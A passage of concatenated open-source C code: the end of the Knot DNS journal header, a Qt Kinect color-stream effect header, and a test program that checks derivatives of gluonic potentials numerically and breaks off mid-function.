int journal_write(journal_t *journal, uint64_t id, const char *src, size_t size);
/*!
* \brief Map journal entry for read/write.
*
* \warning New nodes shouldn't be created until the entry is unmapped.
*
* \param journal Associated journal.
* \param id Entry identifier.
* \param dst Will contain mapped memory.
*
* \retval KNOT_EOK if successful.
* \retval KNOT_EAGAIN if no free node is available, need to remove dirty nodes.
* \retval KNOT_ERROR on I/O error.
*/
int journal_map(journal_t *journal, uint64_t id, char **dst, size_t size);
/*!
* \brief Finalize mapped journal entry.
*
* \param journal Associated journal.
* \param id Entry identifier.
* \param ptr Mapped memory.
* \param finalize Set to true to finalize node or False to discard it.
*
* \retval KNOT_EOK if successful.
* \retval KNOT_ENOENT if the entry cannot be found.
* \retval KNOT_EAGAIN if no free node is available, need to remove dirty nodes.
* \retval KNOT_ERROR on I/O error.
*/
int journal_unmap(journal_t *journal, uint64_t id, void *ptr, int finalize);
/*!
* \brief Return least recent node (journal head).
*
* \param journal Associated journal.
*
* \retval node if successful.
* \retval NULL if empty.
*/
static inline journal_node_t *journal_head(journal_t *journal) {
return journal->nodes + journal->qhead;
}
/*!
* \brief Return node after most recent node (journal tail).
*
* \param journal Associated journal.
*
* \retval node if successful.
* \retval NULL if empty.
*/
static inline journal_node_t *journal_end(journal_t *journal) {
return journal->nodes + journal->qtail;
}
/*!
* \brief Apply function to each node.
*
* \param journal Associated journal.
* \param apply Function to apply to each node.
*
* \retval KNOT_EOK if successful.
* \retval KNOT_EINVAL on invalid parameters.
*/
int journal_walk(journal_t *journal, journal_apply_t apply);
/*!
* \brief Sync node state to permanent storage.
*
* \note May be used for journal_walk().
*
* \param journal Associated journal.
* \param n Pointer to node (must belong to associated journal).
*
* \retval KNOT_EOK on success.
* \retval KNOT_EINVAL on invalid parameters.
*/
int journal_update(journal_t *journal, journal_node_t *n);
/*!
* \brief Begin transaction of multiple entries.
*
* \note Only one transaction at a time is supported.
*
* \param journal Associated journal.
*
* \retval KNOT_EOK on success.
* \retval KNOT_EINVAL on invalid parameters.
* \retval KNOT_EBUSY if transaction is already pending.
*/
int journal_trans_begin(journal_t *journal);
/*!
* \brief Commit pending transaction.
*
* \note Only one transaction at a time is supported.
*
* \param journal Associated journal.
*
* \retval KNOT_EOK on success.
* \retval KNOT_EINVAL on invalid parameters.
* \retval KNOT_ENOENT if no transaction is pending.
*/
int journal_trans_commit(journal_t *journal);
/*!
* \brief Rollback pending transaction.
*
* \note Only one transaction at a time is supported.
*
* \param journal Associated journal.
*
* \retval KNOT_EOK on success.
* \retval KNOT_EINVAL on invalid parameters.
* \retval KNOT_ENOENT if no transaction is pending.
*/
int journal_trans_rollback(journal_t *journal);
/*!
* \brief Close journal file.
*
* \param journal Associated journal.
*
* \retval KNOT_EOK on success.
* \retval KNOT_EINVAL on invalid parameter.
*/
int journal_close(journal_t *journal);
/*!
* \brief Check if the journal file is used or not.
*
* \param journal Journal.
*
* \return true or false
*/
bool journal_is_used(journal_t *journal);
/*!
* \brief Retain journal for use.
*
* \param journal Journal.
*
* \retval KNOT_EOK
* \retval KNOT_EBUSY
* \retval KNOT_EINVAL
* \retval KNOT_ERROR
*/
int journal_retain(journal_t *journal);
/*!
* \brief Release retained journal.
*
* \param journal Retained journal.
*/
void journal_release(journal_t *journal);
/*!
* \brief Recompute journal CRC.
*
* \warning Use only if you altered the journal file somehow
* and need it to pass CRC checks. CRC check normally
* checks file integrity, so you should not touch it unless
* you know what you're doing.
*
* \param fd Open journal file.
*
* \retval KNOT_EOK on success.
* \retval KNOT_EINVAL if not valid fd.
*/
int journal_update_crc(int fd);
#endif /* _KNOTD_JOURNAL_H_ */
/*! @} */
| dnstap/knot | src/knot/server/journal.h | C | gpl-3.0 | 10,710 |
#ifndef TNUICOLORSTREAMEFFECT_H
#define TNUICOLORSTREAMEFFECT_H
#include <QObject>
class TNuiColorStream;
class TNuiColorStreamEffect : public QObject
{
Q_OBJECT
public:
TNuiColorStreamEffect(TNuiColorStream *stream);
void setEnabled(bool enabled);
bool isEnabled() const { return m_enabled; }
void draw(uchar *data, uint length);
signals:
void enabledChanged(bool enabled);
protected:
virtual void updateFrameData(uchar *data, uint length) = 0;
TNuiColorStream *m_colorStream;
bool m_enabled;
};
#endif // TNUICOLORSTREAMEFFECT_H
| takashiro/QtKinect | tnuicolorstreameffect.h | C | gpl-3.0 | 576 |
#include "../lib/includes.h"
#include "../lib/utils.h"
#include "../lib/methnum.h"
#include "../Enum_type.h"
#include "../Var/var.h"
#include "../T0/t0.h"
#include "upot.h"
void test_der ( Upot * U , U_type upot_t , T0_type t0_t, bool phi_eq_phibar );
#define TD_T(f,df,nf,str) do{ testderiv(f,df,Tmin ,Tmax ,N,0.001,nf,str); } while(0)
#define TD_phi(f,df,nf,str) do{ testderiv(f,df,phimin,phimax,N,0.001,nf,str); } while(0)
#define TD_mu(f,df,nf,str) do{ testderiv(f,df,mumin ,mumax ,N,0.001,nf,str); } while(0)
#define TOTO(i) do{ printf("toto %d\n", i); } while(0)
int main ( void )
{
bool all_test = false ;
printf ("testing Gluonic potential derivatives \n" );
bool phi_eq_phibar = true ;
Upot * U = Upot_alloc_32 ( U_POW, T0_CST, C_ANA, 0.650, phi_eq_phibar );
test_der ( U , U_POW , T0_T2, true );
if ( false ){
test_der ( U , U_POW , T0_CST, phi_eq_phibar );
test_der ( U , U_POW , T0_T1, phi_eq_phibar );
test_der ( U , U_POW , T0_T2, phi_eq_phibar );
}
if ( false )
{
test_der ( U , U_POW , T0_T2, phi_eq_phibar );
test_der ( U , U_LOG , T0_T2, phi_eq_phibar );
test_der ( U , U_FUK , T0_T2, phi_eq_phibar );
test_der ( U , U_DEX , T0_T2, phi_eq_phibar );
}
if ( all_test )
{
test_der ( U , U_POW , T0_CST, phi_eq_phibar );
test_der ( U , U_POW , T0_T1, phi_eq_phibar );
test_der ( U , U_POW , T0_T2, phi_eq_phibar );
test_der ( U , U_LOG , T0_CST, phi_eq_phibar );
test_der ( U , U_LOG , T0_T1, phi_eq_phibar );
test_der ( U , U_LOG , T0_T2, phi_eq_phibar );
test_der ( U , U_FUK , T0_CST, phi_eq_phibar );
test_der ( U , U_DEX , T0_CST, phi_eq_phibar );
test_der ( U , U_DEX , T0_T1, phi_eq_phibar );
test_der ( U , U_DEX , T0_T2, phi_eq_phibar );
}
Upot_free ( U );
return 0 ;
}
void test_der ( Upot * U , U_type upot_t , T0_type t0_t, bool phi_eq_phibar )
{
// Upot_set_type ( U , upot_t, t0_t, ANA );
double T_ = 0.1 , phi_ = 0.5 , phibar_= 0.7, mu_= 0.1 ;
double Tmin= 0.1, Tmax=0.5, mumin=0., mumax=0.2, phimin=0.01,phimax=0.1 ;
int N = 40 ;
char pref[128], nf[256] ;
Var * V = Var_alloc ( );
if ( upot_t == U_POW )
{
Upot_set_pow_std ( U , t0_t, phi_eq_phibar);
if ( phi_eq_phibar )
{
if ( t0_t == T0_CST ) sprintf (pref ,"%s" ,"Upow_T0_cst_phi_eq_phibar" );
else if ( t0_t == T0_T1 ) sprintf (pref ,"%s" ,"Upow_T0_t1_phi_eq_phibar" );
else if ( t0_t == T0_T2 ) sprintf (pref ,"%s" ,"Upow_T0_t2_phi_eq_phibar" );
else { Var_free ( V ); Upot_free ( U ); ERROR ( stdout , "T0 type error"); }
}
else
{
if ( t0_t == T0_CST ) sprintf (pref ,"%s" ,"Upow_T0_cst" );
else if ( t0_t == T0_T1 ) sprintf (pref ,"%s" ,"Upow_T0_t1" );
else if ( t0_t == T0_T2 ) sprintf (pref ,"%s" ,"Upow_T0_t2" );
else { Var_free ( V ); Upot_free ( U ); ERROR ( stdout , "T0 type error"); }
}
}
else if ( upot_t == U_LOG )
{
Upot_set_log_std ( U , t0_t, phi_eq_phibar);
if ( phi_eq_phibar )
{
if ( t0_t == T0_CST ) sprintf (pref ,"%s" ,"Ulog_T0_cst_phi_eq_phibar" );
else if ( t0_t == T0_T1 ) sprintf (pref ,"%s" ,"Ulog_T0_t1_phi_eq_phibar" );
else if ( t0_t == T0_T2 ) sprintf (pref ,"%s" ,"Ulog_T0_t2_phi_eq_phibar" );
else { Var_free ( V ); Upot_free ( U ); ERROR ( stdout , "T0 type error");}
}
else
{
if ( t0_t == T0_CST ) sprintf (pref ,"%s" ,"Ulog_T0_cst" );
else if ( t0_t == T0_T1 ) sprintf (pref ,"%s" ,"Ulog_T0_t1" );
else if ( t0_t == T0_T2 ) sprintf (pref ,"%s" ,"Ulog_T0_t2" );
else { Var_free ( V ); Upot_free ( U ); ERROR ( stdout , "T0 type error");}
}
}
else if ( upot_t == U_FUK )
{
Upot_set_fuk_std ( U , t0_t, 0.650, phi_eq_phibar);
if ( phi_eq_phibar )
sprintf (pref ,"%s" ,"Ufuk_phi_eq_phibar" );
else
sprintf (pref ,"%s" ,"Ufuk" );
}
else if ( upot_t == U_DEX )
{
Upot_set_dex_std ( U , t0_t, phi_eq_phibar);
if ( phi_eq_phibar )
{
if ( t0_t == T0_CST ) sprintf (pref ,"%s" ,"Udex_T0_cst_phi_eq_phibar" );
else if ( t0_t == T0_T1 ) sprintf (pref ,"%s" ,"Udex_T0_t1_phi_eq_phibar" );
else if ( t0_t == T0_T2 ) sprintf (pref ,"%s" ,"Udex_T0_t2_phi_eq_phibar" );
else { Var_free ( V ); Upot_free ( U );ERROR ( stdout , "T0 type error"); }
}
else
{
if ( t0_t == T0_CST ) sprintf (pref ,"%s" ,"Udex_T0_cst" );
else if ( t0_t == T0_T1 ) sprintf (pref ,"%s" ,"Udex_T0_t1" );
else if ( t0_t == T0_T2 ) sprintf (pref ,"%s" ,"Udex_T0_t2" );
else { Var_free ( V ); Upot_free ( U );ERROR ( stdout , "T0 type error"); }
}
}
else
{
Var_free ( V ); Upot_free ( U );ERROR ( stdout , "U type error");
}
if ( !phi_eq_phibar )
{
//////////// GRAND POTENTIAL
////
double u_phi ( double phi ) { Var_set_Tmuphiphibar ( V, T_, mu_, phi , phibar_); return U->Ug( U->P , U->T0, V ); }
double u_phibar ( double phibar ) { Var_set_Tmuphiphibar ( V, T_, mu_, phi_, phibar ); return U->Ug( U->P , U->T0, V ); }
double u_T ( double T ) { Var_set_Tmuphiphibar ( V, T , mu_, phi_, phibar_); return U->Ug( U->P , U->T0, V ); }
double u_mu ( double mu ) { Var_set_Tmuphiphibar ( V, T_, mu , phi_, phibar_); return U->Ug( U->P , U->T0, V ); }
sprintf ( nf , "%s_phi" , pref ); plot_2D ( u_phi , phimin,phimax,N,nf,"set xla \"phi\"; set xzeroaxis" , false );
sprintf ( nf , "%s_phibar", pref ); plot_2D ( u_phibar, phimin,phimax,N,nf,"set xla \"phibar\"; set xzeroaxis", false );
sprintf ( nf , "%s_T" , pref ); plot_2D ( u_T , Tmin ,Tmax ,N,nf,"set xla \"T\"; set xzeroaxis" , false );
sprintf ( nf , "%s_mu" , pref ); plot_2D ( u_mu , mumin ,mumax ,N,nf,"set xla \"mu\"; set xzeroaxis" , false );
//////////// 1ST DERIVATIVES
////
double dphi_u_phi ( double phi ) { Var_set_Tmuphiphibar ( V, T_, mu_, phi , phibar_); return U->dphi_Ug ( U->P , U->T0, V ); }
double dphibar_u_phibar ( double phibar ) { Var_set_Tmuphiphibar ( V, T_, mu_, phi_, phibar ); return U->dphibar_Ug( U->P , U->T0, V ); }
double dT_u_T ( double T ) { Var_set_Tmuphiphibar ( V, T , mu_, phi_, phibar_); return U->dT_Ug ( U->P , U->T0, V ); }
double dmu_u_mu ( double mu ) { Var_set_Tmuphiphibar ( V, T_, mu , phi_, phibar_); return U->dmu_Ug ( U->P , U->T0, V ); }
sprintf ( nf , "dphi_%s_phi" , pref ); TD_phi(u_phi ,dphi_u_phi ,nf,"set xla\"phi\"");
sprintf ( nf , "dphibar_%s_phibar", pref ); TD_phi(u_phibar,dphibar_u_phibar,nf,"set xla\"phibar\"");
sprintf ( nf , "dT_%s_T" , pref ); TD_T (u_T ,dT_u_T ,nf,"set xla\"T\"");
sprintf ( nf , "dmu_%s_mu" , pref ); TD_mu (u_mu ,dmu_u_mu ,nf,"set xla\"mu\"");
//////////// 2ND DERIVATIVES
////
double dT2_u_T ( double T ) { Var_set_Tmuphiphibar ( V, T , mu_, phi_, phibar_); return U->dT2_Ug ( U->P , U->T0, V ); }
double dTmu_u_T ( double T ) { Var_set_Tmuphiphibar ( V, T , mu_, phi_, phibar_); return U->dTmu_Ug ( U->P , U->T0, V ); }
double dmu_u_T ( double T ) { Var_set_Tmuphiphibar ( V, T , mu_, phi_, phibar_); return U->dmu_Ug ( U->P , U->T0, V ); }
double dTphi_u_T( double T ) { Var_set_Tmuphiphibar ( V, T , mu_, phi_, phibar_); return U->dTphi_Ug ( U->P , U->T0, V ); }
double dphi_u_T ( double T ) { Var_set_Tmuphiphibar ( V, T , mu_, phi_, phibar_); return U->dphi_Ug ( U->P , U->T0, V ); }
double dTphibar_u_T( double T ) { Var_set_Tmuphiphibar ( V, T , mu_, phi_, phibar_); return U->dTphibar_Ug ( U->P , U->T0, V ); }
double dphibar_u_T ( double T ) { Var_set_Tmuphiphibar ( V, T , mu_, phi_, phibar_); return U->dphibar_Ug ( U->P , U->T0, V ); }
double dmu2_u_mu ( double mu ) { Var_set_Tmuphiphibar ( V, T_, mu , phi_, phibar_); return U->dmu2_Ug ( U->P , U->T0, V ); }
double dmuphi_u_mu ( double mu ){ Var_set_Tmuphiphibar ( V, T_, mu , phi_, phibar_); return U->dmuphi_Ug ( U->P , U->T0, V ); }
double dphi_u_mu( double mu ){ Var_set_Tmuphiphibar ( V, T_, mu , phi_, phibar_); return U->dphi_Ug ( U->P , U->T0, V ); }
double dmuphibar_u_mu ( double mu ){ Var_set_Tmuphiphibar ( V, T_, mu , phi_, phibar_); return U->dmuphibar_Ug ( U->P , U->T0, V ); }
double dphibar_u_mu( double mu ){ Var_set_Tmuphiphibar ( V, T_, mu , phi_, phibar_); return U->dphibar_Ug ( U->P , U->T0, V ); }
double dphi2_u_phi ( double phi ) { Var_set_Tmuphiphibar ( V, T_, mu_, phi , phibar_); return U->dphi2_Ug ( U->P , U->T0, V ); }
double dphiphibar_u_phi ( double phi ) { Var_set_Tmuphiphibar ( V, T_, mu_, phi , phibar_); return U->dphiphibar_Ug ( U->P , U->T0, V ); }
double dphibar_u_phi ( double phi ) { Var_set_Tmuphiphibar ( V, T_, mu_, phi , phibar_); return U->dphibar_Ug ( U->P , U->T0, V ); }
double dphibar2_u_phibar ( double phibar ) { Var_set_Tmuphiphibar ( V, T_, mu_, phi_, phibar ); return U->dphibar2_Ug( U->P , U->T0, V ); }
sprintf ( nf , "dT2_%s_T", pref ); TD_T(dT_u_T, dT2_u_T,nf , "set xla\"T\"");
sprintf ( nf , "dTmu_%s_T", pref ); TD_T(dmu_u_T, dTmu_u_T,nf,"set xla\"T\"");
sprintf ( nf , "dTphi_%s_T", pref ); TD_T(dphi_u_T, dTphi_u_T,nf,"set xla\"T\"");
sprintf ( nf , "dTphibar_%s_T", pref ); TD_T(dphibar_u_T, dTphibar_u_T,nf,"set xla\"T\"");
sprintf ( nf , "dmu2_%s_mu", pref ); TD_mu (dmu_u_mu,dmu2_u_mu ,nf,"set xla\"mu\"");
sprintf ( nf , "dmuphi_%s_mu", pref ); TD_mu (dphi_u_mu,dmuphi_u_mu ,nf,"set xla\"mu\"");
sprintf ( nf , "dmuphibar_%s_mu", pref ); TD_mu (dphibar_u_mu,dmuphibar_u_mu ,nf,"set xla\"mu\"");
sprintf ( nf , "dphi2_%s_phi" , pref ); TD_phi(dphi_u_phi,dphi2_u_phi,nf,"set xla\"phi\"");
sprintf ( nf , "dphiphibar_%s_phi" , pref ); TD_phi(dphibar_u_phi,dphiphibar_u_phi,nf,"set xla\"phi\"");
sprintf ( nf , "dphibar2_%s_phibar", pref ); TD_phi(dphibar_u_phibar,dphibar2_u_phibar,nf,"set xla\"phibar\"");
//////////// 3RD DERIVATIVES
////
double dT3_u_T ( double T ) { Var_set_Tmuphiphibar ( V, T , mu_, phi_, phibar_); return U->dT3_Ug ( U->P , U->T0, V ); }
double dT2mu_u_T ( double T ) { Var_set_Tmuphiphibar ( V, T , mu_, phi_, phibar_); return U->dT2mu_Ug ( U->P , U->T0, V ); }
double dT2phi_u_T ( double T ) { Var_set_Tmuphiphibar ( V, T , mu_, phi_, phibar_); return U->dT2phi_Ug ( U->P , U->T0, V ); }
double dT2phibar_u_T ( double T ) { Var_set_Tmuphiphibar ( V, T , mu_, phi_, phibar_); return U->dT2phibar_Ug ( U->P , U->T0, V ); }
double dTmu2_u_T ( double T ) { Var_set_Tmuphiphibar ( V, T , mu_, phi_, phibar_); return U->dTmu2_Ug ( U->P , U->T0, V ); }
double dmu2_u_T ( double T ) { Var_set_Tmuphiphibar ( V, T , mu_, phi_, phibar_); return U->dmu2_Ug ( U->P , U->T0, V ); }
double dTmuphi_u_T ( double T ) { Var_set_Tmuphiphibar ( V, T , mu_, phi_, phibar_); return U->dTmuphi_Ug ( U->P , U->T0, V ); }
double dmuphi_u_T ( double T ) { Var_set_Tmuphiphibar ( V, T , mu_, phi_, phibar_); return U->dmuphi_Ug ( U->P , U->T0, V ); }
double dTmuphibar_u_T ( double T ) { Var_set_Tmuphiphibar ( V, T , mu_, phi_, phibar_); return U->dTmuphibar_Ug ( U->P , U->T0, V ); }
double dmuphibar_u_T ( double T ) { Var_set_Tmuphiphibar ( V, T , mu_, phi_, phibar_); return U->dmuphibar_Ug ( U->P , U->T0, V ); }
double dTphi2_u_T ( double T ) { Var_set_Tmuphiphibar ( V, T , mu_, phi_, phibar_); return U->dTphi2_Ug ( U->P , U->T0, V ); }
double dphi2_u_T ( double T ) { Var_set_Tmuphiphibar ( V, T , mu_, phi_, phibar_); return U->dphi2_Ug ( U->P , U->T0, V ); }
double dTphiphibar_u_T ( double T ) { Var_set_Tmuphiphibar ( V, T , mu_, phi_, phibar_); return U->dTphiphibar_Ug ( U->P , U->T0, V ); }
double dphiphibar_u_T ( double T ) { Var_set_Tmuphiphibar ( V, T , mu_, phi_, phibar_); return U->dphiphibar_Ug ( U->P , U->T0, V ); }
double dTphibar2_u_T ( double T ) { Var_set_Tmuphiphibar ( V, T , mu_, phi_, phibar_); return U->dTphibar2_Ug ( U->P , U->T0, V ); }
double dphibar2_u_T ( double T ) { Var_set_Tmuphiphibar ( V, T , mu_, phi_, phibar_); return U->dphibar2_Ug ( U->P , U->T0, V ); }
double dmu3_u_mu ( double mu ) { Var_set_Tmuphiphibar ( V, T_, mu , phi_, phibar_); return U->dmu3_Ug ( U->P , U->T0, V ); }
double dmu2phi_u_mu ( double mu ) { Var_set_Tmuphiphibar ( V, T_, mu , phi_, phibar_); return U->dmu2phi_Ug ( U->P , U->T0, V ); }
double dmu2phibar_u_mu ( double mu ) { Var_set_Tmuphiphibar ( V, T_, mu , phi_, phibar_); return U->dmu2phibar_Ug ( U->P , U->T0, V ); }
double dmuphi2_u_mu ( double mu ) { Var_set_Tmuphiphibar ( V, T_, mu , phi_, phibar_); return U->dmuphi2_Ug ( U->P , U->T0, V ); }
double dphi2_u_mu ( double mu ) {Var_set_Tmuphiphibar ( V, T_, mu , phi_, phibar_); return U->dphi2_Ug ( U->P , U->T0, V ); }
double dmuphiphibar_u_mu ( double mu ) { Var_set_Tmuphiphibar ( V, T_, mu , phi_, phibar_); return U->dmuphiphibar_Ug ( U->P , U->T0, V ); }
double dphiphibar_u_mu ( double mu ) {Var_set_Tmuphiphibar ( V, T_, mu , phi_, phibar_); return U->dphiphibar_Ug ( U->P , U->T0, V ); }
double dmuphibar2_u_mu ( double mu ) { Var_set_Tmuphiphibar ( V, T_, mu , phi_, phibar_); return U->dmuphibar2_Ug ( U->P , U->T0, V ); }
double dphibar2_u_mu ( double mu ) { Var_set_Tmuphiphibar ( V, T_, mu , phi_, phibar_); return U->dphibar2_Ug ( U->P , U->T0, V ); }
double dphi3_u_phi ( double phi ) { Var_set_Tmuphiphibar ( V, T_, mu_, phi , phibar_); return U->dphi3_Ug ( U->P , U->T0, V ); }
double dphi2phibar_u_phi ( double phi ) { Var_set_Tmuphiphibar ( V, T_, mu_, phi , phibar_); return U->dphi2phibar_Ug ( U->P , U->T0, V ); }
double dphiphibar2_u_phi ( double phi ) {Var_set_Tmuphiphibar ( V, T_, mu_, phi , phibar_); return U->dphiphibar2_Ug ( U->P , U->T0, V ); }
double dphibar2_u_phi ( double phi ){Var_set_Tmuphiphibar ( V, T_, mu_, phi , phibar_); return U->dphibar2_Ug ( U->P , U->T0, V ); }
double dphibar3_u_phibar ( double phibar ) { Var_set_Tmuphiphibar( V, T_, mu_, phi_, phibar ); return U->dphibar3_Ug( U->P , U->T0, V ); }
sprintf ( nf , "dT3_%s_T", pref ); TD_T(dT2_u_T, dT3_u_T,nf,"set xla\"T\"");
sprintf ( nf , "dT2mu_%s_T", pref ); TD_T(dTmu_u_T, dT2mu_u_T,nf,"set xla\"T\"");
sprintf ( nf , "dT2phi_%s_T", pref ); TD_T(dTphi_u_T, dT2phi_u_T,nf,"set xla\"T\"");
sprintf ( nf , "dT2phibar_%s_T", pref ); TD_T(dTphibar_u_T, dT2phibar_u_T,nf,"set xla\"T\"");
sprintf ( nf , "dTmu2_%s_T", pref ); TD_T(dmu2_u_T, dTmu2_u_T,nf,"set xla\"T\"");
sprintf ( nf , "dTmuphi_%s_T", pref ); TD_T(dmuphi_u_T, dTmuphi_u_T,nf,"set xla\"T\"");
sprintf ( nf , "dTmuphibar_%s_T", pref ); TD_T(dmuphibar_u_T, dTmuphibar_u_T,nf,"set xla\"T\"");
sprintf ( nf , "dTphi2_%s_T", pref ); TD_T(dphi2_u_T, dTphi2_u_T,nf,"set xla\"T\"");
sprintf ( nf , "dTphiphibar_%s_T", pref ); TD_T(dphiphibar_u_T, dTphiphibar_u_T,nf,"set xla\"T\"");
sprintf ( nf , "dTphibar2_%s_T", pref ); TD_T(dphibar2_u_T, dTphibar2_u_T,nf,"set xla\"T\"");
sprintf ( nf , "dmu3_%s_mu", pref ); TD_mu (dmu2_u_mu,dmu3_u_mu ,nf,"set xla\"mu\"");
sprintf ( nf , "dmu2phi_%s_mu", pref ); TD_mu (dmuphi_u_mu,dmu2phi_u_mu ,nf,"set xla\"mu\"");
sprintf ( nf , "dmu2phibar_%s_mu", pref ); TD_mu (dmuphibar_u_mu,dmu2phibar_u_mu ,nf,"set xla\"mu\"");
sprintf ( nf , "dmuphi2_%s_mu", pref ); TD_mu (dphi2_u_mu,dmuphi2_u_mu ,nf,"set xla\"mu\"");
sprintf ( nf , "dmuphiphibar_%s_mu", pref ); TD_mu (dphiphibar_u_mu,dmuphiphibar_u_mu ,nf,"set xla\"mu\"");
sprintf ( nf , "dmuphibar2_%s_mu", pref ); TD_mu (dphibar2_u_mu,dmuphibar2_u_mu ,nf,"set xla\"mu\"");
sprintf ( nf , "dphi3_%s_phi", pref ); TD_phi(dphi2_u_phi,dphi3_u_phi,nf,"set xla\"phi\"");
sprintf ( nf , "dphiphibar_%s_phi", pref ); TD_phi(dphiphibar_u_phi,dphi2phibar_u_phi,nf,"set xla\"phi\"");
sprintf ( nf , "dphiphibar2_%s_phi", pref ); TD_phi(dphibar2_u_phi,dphiphibar2_u_phi,nf,"set xla\"phi\"");
sprintf ( nf , "dphibar3_%s_phibar", pref ); TD_phi(dphibar2_u_phibar,dphibar3_u_phibar,nf,"set xla\"phibar\"");
}
else // phi = phibar
{
//////////// GRAND POTENTIAL
////
double u_phi ( double phi ) { Var_set_Tmuphi ( V, T_, mu_, phi ); return U->Ug( U->P , U->T0, V ); }
double u_T ( double T ) { Var_set_Tmuphi ( V, T , mu_, phi_); return U->Ug( U->P , U->T0, V ); }
double u_mu ( double mu ) { Var_set_Tmuphi ( V, T_, mu , phi_); return U->Ug( U->P , U->T0, V ); }
sprintf ( nf , "%s_phi" , pref ); plot_2D ( u_phi , phimin,phimax,N,nf,"set xla \"phi\"; set xzeroaxis" , false );
sprintf ( nf , "%s_T" , pref ); plot_2D ( u_T , Tmin ,Tmax ,N,nf,"set xla \"T\"; set xzeroaxis" , false );
sprintf ( nf , "%s_mu" , pref ); plot_2D ( u_mu , mumin ,mumax ,N,nf,"set xla \"mu\"; set xzeroaxis" , false );
//////////// 1ST DERIVATIVES
////
double dphi_u_phi ( double phi ) { Var_set_Tmuphi ( V, T_, mu_, phi ); return U->dphi_Ug ( U->P , U->T0, V ); }
double dT_u_T ( double T ) { Var_set_Tmuphi ( V, T , mu_, phi_); return U->dT_Ug ( U->P , U->T0, V ); }
double dmu_u_mu ( double mu ) { Var_set_Tmuphi ( V, T_, mu , phi_); return U->dmu_Ug ( U->P , U->T0, V ); }
sprintf ( nf , "dphi_%s_phi" , pref ); TD_phi(u_phi ,dphi_u_phi ,nf,"set xla\"phi\"");
sprintf ( nf , "dT_%s_T" , pref ); TD_T (u_T ,dT_u_T ,nf,"set xla\"T\"");
sprintf ( nf , "dmu_%s_mu" , pref ); TD_mu (u_mu ,dmu_u_mu ,nf,"set xla\"mu\"");
//////////// 2ND DERIVATIVES
////
double dT2_u_T ( double T ) { Var_set_Tmuphi ( V, T , mu_, phi_); return U->dT2_Ug ( U->P , U->T0, V ); }
double dTmu_u_T ( double T ) { Var_set_Tmuphi ( V, T , mu_, phi_); return U->dTmu_Ug ( U->P , U->T0, V ); }
double dmu_u_T ( double T ) { Var_set_Tmuphi ( V, T , mu_, phi_); return U->dmu_Ug ( U->P , U->T0, V ); }
double dTphi_u_T( double T ) { Var_set_Tmuphi ( V, T , mu_, phi_); return U->dTphi_Ug ( U->P , U->T0, V ); }
double dphi_u_T ( double T ) { Var_set_Tmuphi ( V, T , mu_, phi_); return U->dphi_Ug ( U->P , U->T0, V ); }
double dmu2_u_mu ( double mu ) { Var_set_Tmuphi ( V, T_, mu , phi_); return U->dmu2_Ug ( U->P , U->T0, V ); }
double dmuphi_u_mu ( double mu ){ Var_set_Tmuphi ( V, T_, mu , phi_); return U->dmuphi_Ug ( U->P , U->T0, V ); }
double dphi_u_mu( double mu ){ Var_set_Tmuphi ( V, T_, mu , phi_); return U->dphi_Ug ( U->P , U->T0, V ); }
double dphi2_u_phi ( double phi ) { Var_set_Tmuphi ( V, T_, mu_, phi ); return U->dphi2_Ug ( U->P , U->T0, V ); }
//if ( false ) {
sprintf ( nf , "dT2_%s_T", pref ); TD_T(dT_u_T, dT2_u_T,nf , "set xla\"T\"");
sprintf ( nf , "dTmu_%s_T", pref ); TD_T(dmu_u_T, dTmu_u_T,nf,"set xla\"T\"");
sprintf ( nf , "dTphi_%s_T", pref ); TD_T(dphi_u_T, dTphi_u_T,nf,"set xla\"T\"");
sprintf ( nf , "dmu2_%s_mu", pref ); TD_mu (dmu_u_mu,dmu2_u_mu ,nf,"set xla\"mu\"");
sprintf ( nf , "dmuphi_%s_mu", pref ); TD_mu (dphi_u_mu,dmuphi_u_mu ,nf,"set xla\"mu\""); //}
sprintf ( nf , "dphi2_%s_phi" , pref ); TD_phi(dphi_u_phi,dphi2_u_phi,nf,"set xla\"phi\""); //}
//////////// 3RD DERIVATIVES
////
double dT3_u_T ( double T ) { Var_set_Tmuphi ( V, T , mu_, phi_); return U->dT3_Ug ( U->P , U->T0, V ); }
double dT2mu_u_T ( double T ) { Var_set_Tmuphi ( V, T , mu_, phi_); return U->dT2mu_Ug ( U->P , U->T0, V ); }
double dT2phi_u_T ( double T ) { Var_set_Tmuphi ( V, T , mu_, phi_); return U->dT2phi_Ug ( U->P , U->T0, V ); }
double dTmu2_u_T ( double T ) { Var_set_Tmuphi ( V, T , mu_, phi_); return U->dTmu2_Ug ( U->P , U->T0, V ); }
double dmu2_u_T ( double T ) { Var_set_Tmuphi ( V, T , mu_, phi_); return U->dmu2_Ug ( U->P , U->T0, V ); }
double dTmuphi_u_T ( double T ) { Var_set_Tmuphi ( V, T , mu_, phi_); return U->dTmuphi_Ug ( U->P , U->T0, V ); }
double dmuphi_u_T ( double T ) { Var_set_Tmuphi ( V, T , mu_, phi_); return U->dmuphi_Ug ( U->P , U->T0, V ); }
double dTphi2_u_T ( double T ) { Var_set_Tmuphi ( V, T , mu_, phi_); return U->dTphi2_Ug ( U->P , U->T0, V ); }
double dphi2_u_T ( double T ) { Var_set_Tmuphi ( V, T , mu_, phi_); return U->dphi2_Ug ( U->P , U->T0, V ); }
double dmu3_u_mu ( double mu ) { Var_set_Tmuphi ( V, T_, mu , phi_); return U->dmu3_Ug ( U->P , U->T0, V ); }
double dmu2phi_u_mu ( double mu ) { Var_set_Tmuphi ( V, T_, mu , phi_); return U->dmu2phi_Ug ( U->P , U->T0, V ); }
double dmuphi2_u_mu ( double mu ) { Var_set_Tmuphi ( V, T_, mu , phi_); return U->dmuphi2_Ug ( U->P , U->T0, V ); }
double dphi2_u_mu ( double mu ) {Var_set_Tmuphi ( V, T_, mu , phi_); return U->dphi2_Ug ( U->P , U->T0, V ); }
double dphi3_u_phi ( double phi ) { Var_set_Tmuphi ( V, T_, mu_, phi ); return U->dphi3_Ug ( U->P , U->T0, V ); }
//if ( false ){
sprintf ( nf , "dT3_%s_T", pref ); TD_T(dT2_u_T, dT3_u_T,nf,"set xla\"T\"");
sprintf ( nf , "dT2mu_%s_T", pref ); TD_T(dTmu_u_T, dT2mu_u_T,nf,"set xla\"T\"");
sprintf ( nf , "dT2phi_%s_T", pref ); TD_T(dTphi_u_T, dT2phi_u_T,nf,"set xla\"T\"");
sprintf ( nf , "dTmu2_%s_T", pref ); TD_T(dmu2_u_T, dTmu2_u_T,nf,"set xla\"T\"");
sprintf ( nf , "dTmuphi_%s_T", pref ); TD_T(dmuphi_u_T, dTmuphi_u_T,nf,"set xla\"T\"");
